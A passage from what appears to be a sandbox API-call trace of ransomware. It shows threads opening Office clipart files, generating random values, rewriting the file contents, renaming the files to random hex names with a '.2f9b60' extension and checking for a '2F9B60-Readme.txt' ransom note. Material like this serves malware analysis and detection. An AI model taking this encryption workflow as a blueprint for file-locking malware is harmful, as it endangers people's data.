SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.974] WriteFile (in: hFile=0x15e4, lpBuffer=0x1ce779b0*, nNumberOfBytesToWrite=0x1678, lpNumberOfBytesWritten=0x1ecff894, lpOverlapped=0x0 | out: lpBuffer=0x1ce779b0*, lpNumberOfBytesWritten=0x1ecff894*=0x1678, lpOverlapped=0x0) returned 1 [0123.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f1f0 [0123.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e170 [0123.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e170) returned 1 [0123.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce779b0) returned 1 [0123.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce73da0) returned 1 [0123.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504090) returned 1 [0123.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420598d0) returned 1 [0123.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e170 [0123.981] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0123.981] WriteFile (in: hFile=0x15e4, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1ecff9b0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x1ecff9b0*=0x10a, lpOverlapped=0x0) returned 1 [0123.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059920 [0123.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0123.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de70 [0123.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050de70) returned 1 [0123.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de70 [0123.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dea0 [0123.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dea0) returned 1 [0123.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0123.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059920) returned 1 [0123.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.990] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="7e") returned 2 [0123.990] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="09") returned 2 [0123.990] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="1c") returned 2 [0123.990] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="85") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="37") returned 2 [0123.991] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="af") returned 2 [0123.991] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="c1") returned 2 [0123.991] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="70") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="a1") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="e6") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="b6") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="fb") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="1a") returned 2 [0123.991] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="3e") returned 2 [0123.991] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="fd") returned 2 [0123.991] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="57") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="ae") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="b4") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="ed") returned 2 [0123.991] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="cc") returned 2 [0123.991] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="0f") returned 2 [0123.991] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="e2") returned 2 [0123.991] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="33") returned 2 [0123.991] RtlInitAnsiString (in: DestinationString=0x1ecffa28, SourceString="7e091c8537afc170a1e6b6fb1a3efd57aeb44cedcc0fe233" | out: DestinationString="7e091c8537afc170a1e6b6fb1a3efd57aeb44cedcc0fe233") [0123.991] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ecff9f8, SourceString="7e091c8537afc170a1e6b6fb1a3efd57aeb44cedcc0fe233", AllocateDestinationString=1 | out: DestinationString="7e091c8537afc170a1e6b6fb1a3efd57aeb44cedcc0fe233") returned 0x0 [0123.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced91d0 [0123.991] wcscat (in: _Dest=0x202b1370, _Source="7e091c8537af" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e091c8537af") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e091c8537af" [0123.992] wcscat (in: _Dest=0x202b1370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e091c8537af.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e091c8537af.2f9b60" [0123.992] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e091c8537af.2f9b60", NtPathName=0x1ecff9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\7e091c8537af.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107300 [0123.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107300) returned 1 [0123.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0123.994] NtQueryInformationFile (in: FileHandle=0x15e4, IoStatusBlock=0x1ecffa38, FileInformation=0x1ecffa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1ecffa38, FileInformation=0x1ecffa48) returned 0x0 [0123.994] NtSetInformationFile (FileHandle=0x15e4, IoStatusBlock=0x1ecffa38, FileInformation=0x1ecffa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0123.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced91d0) returned 1 [0123.995] FlushFileBuffers (hFile=0x15e4) returned 1 [0124.157] CloseHandle (hObject=0x15e4) returned 1 [0124.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0470 [0124.158] wcscpy (in: _Dest=0x202b0470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.159] wcscat (in: _Dest=0x202b0470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0470) returned 1 [0124.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b100) returned 1 Thread: id = 1503 os_tid = 0x19d0 [0120.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0122.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF", dwFileAttributes=0x20) returned 1 [0122.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea4 [0122.692] GetFileSizeEx (in: hFile=0xea4, lpFileSize=0x1ee1fa40 | out: lpFileSize=0x1ee1fa40*=2644) returned 1 [0122.693] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0xa50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.693] ReadFile (in: hFile=0xea4, lpBuffer=0x1ee1f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ee1fa08, lpOverlapped=0x0 | out: lpBuffer=0x1ee1f9c0*, lpNumberOfBytesRead=0x1ee1fa08*=0x4, lpOverlapped=0x0) returned 1 [0122.712] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e590 [0122.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e620 [0122.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e650 [0122.712] NtQuerySystemTime (in: CurrentTime=0x1ee1f900 | out: CurrentTime=0x1ee1f900*=132462177280990000) returned 0x0 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x437ad3c9 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x58612d27 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x79134a2a [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x21e78ed9 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x35a0b6c1 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x26468fb6 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x6f23ff3e [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x47e4a49c [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x44fc1472 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x5a0e66f0 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x315a0bba [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x5f6750c7 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x6f1e9d0d [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x60dae5bd [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x258833cd [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x2caa5453 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x46abc9d8 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x3ec240c9 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x885c70c [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x2a1aff46 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x71ec6cc1 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x72beffbf [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x5a2e5068 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x19b1fefe [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x309bd86c [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x3e7590ee [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x53ded27 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x1f96a633 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x67fa8442 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x153d16a5 [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x203e9c0d [0122.713] RtlRandomEx (in: Seed=0x1ee1f8f0 | out: Seed=0x1ee1f8f0) returned 0x7c87b0d2 [0122.721] ReadFile (in: hFile=0xea4, lpBuffer=0x201b5950, nNumberOfBytesToRead=0xa54, lpNumberOfBytesRead=0x1ee1f8f0, lpOverlapped=0x0 | out: lpBuffer=0x201b5950*, lpNumberOfBytesRead=0x1ee1f8f0*=0xa54, lpOverlapped=0x0) returned 1 [0122.721] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.721] WriteFile (in: hFile=0xea4, lpBuffer=0x201a6910*, nNumberOfBytesToWrite=0xa54, lpNumberOfBytesWritten=0x1ee1f8f4, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesWritten=0x1ee1f8f4*=0xa54, lpOverlapped=0x0) returned 1 [0160.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d60 [0160.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d90 [0160.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d90) returned 1 [0160.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0160.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b5950) returned 1 [0160.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505010) returned 1 [0160.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596f0) returned 1 [0160.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1d90 [0160.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596f0 [0160.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505010 [0160.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1dc0 [0160.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1dc0) returned 1 [0160.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1dc0 [0160.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1df0 [0160.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1e20 [0160.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1e20) returned 1 [0160.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505010) returned 1 [0160.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596f0) returned 1 [0160.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce12c50 [0160.805] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.805] WriteFile (in: hFile=0xea4, lpBuffer=0x1ce12c50*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1ee1fa10, lpOverlapped=0x0 | out: lpBuffer=0x1ce12c50*, lpNumberOfBytesWritten=0x1ee1fa10*=0x10a, lpOverlapped=0x0) returned 1 [0165.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ed40 [0165.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ed40) returned 1 [0165.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ed40 [0165.451] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ed10 [0165.451] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ed10) returned 1 [0165.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.452] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.452] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="af") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="16") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="1c") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="b9") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="5e") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="55") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="75") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="ea") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="9c") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="47") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="7c") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="6e") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="b3") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="9e") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="3d") returned 2 [0165.452] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="48") returned 2 [0165.453] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="c9") returned 2 [0165.453] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="84") returned 2 [0165.453] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="20") returned 2 [0165.453] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="50") returned 2 [0165.453] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="97") returned 2 [0165.453] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="0f") returned 2 [0165.453] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="13") returned 2 [0165.453] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="1e") returned 2 [0165.453] RtlInitAnsiString (in: DestinationString=0x1ee1fa88, SourceString="af161cb95e5575ea9c477c6eb39e3d48c9842050970f131e" | out: DestinationString="af161cb95e5575ea9c477c6eb39e3d48c9842050970f131e") [0165.453] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ee1fa58, SourceString="af161cb95e5575ea9c477c6eb39e3d48c9842050970f131e", AllocateDestinationString=1 | out: DestinationString="af161cb95e5575ea9c477c6eb39e3d48c9842050970f131e") returned 0x0 [0165.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14ff0 [0165.453] RtlFreeAnsiString (AnsiString="a") [0165.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ed40) returned 1 [0165.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12c50) returned 1 [0165.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1dc0) returned 1 [0165.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1df0) returned 1 [0165.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d90) returned 1 [0165.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d60) returned 1 [0165.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e620) returned 1 [0165.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e680) returned 1 [0165.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e6b0) returned 1 [0165.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30a90 [0165.456] wcscat (in: _Dest=0x42c30a90, _Source="af161cb95e55" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af161cb95e55") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af161cb95e55" [0165.456] wcscat (in: _Dest=0x42c30a90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af161cb95e55.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af161cb95e55.2f9b60" [0165.456] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af161cb95e55.2f9b60", NtPathName=0x1ee1fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af161cb95e55.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22fe0 Thread: id = 1504 os_tid = 0x19d4 [0120.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0122.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF", dwFileAttributes=0x20) returned 1 [0122.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10bc [0123.471] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x1ed7fa80 | out: lpFileSize=0x1ed7fa80*=5272) returned 1 [0123.471] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x1494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.471] ReadFile (in: hFile=0x10bc, lpBuffer=0x1ed7fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ed7fa48, lpOverlapped=0x0 | out: lpBuffer=0x1ed7fa00*, lpNumberOfBytesRead=0x1ed7fa48*=0x4, lpOverlapped=0x0) returned 1 [0123.557] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e140 [0123.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f370 [0123.557] NtQuerySystemTime (in: CurrentTime=0x1ed7f940 | out: CurrentTime=0x1ed7f940*=132462177289414000) returned 0x0 [0123.557] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x2ded985b [0123.557] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x6f26ac72 [0123.557] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x2577848a [0123.557] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x7754b1d0 [0123.557] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x64e0e5be [0123.557] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x478c3941 [0123.557] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x4498812 [0123.557] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x6b07655d [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x150ac825 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x584fafc2 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0xccd722a [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x96b1346 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x711107dd [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x77da18af [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x109ac090 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x755c4ebe [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: Seed=0x1ed7f930) returned 0x20c73566 [0123.558] RtlRandomEx (in: Seed=0x1ed7f930 | out: 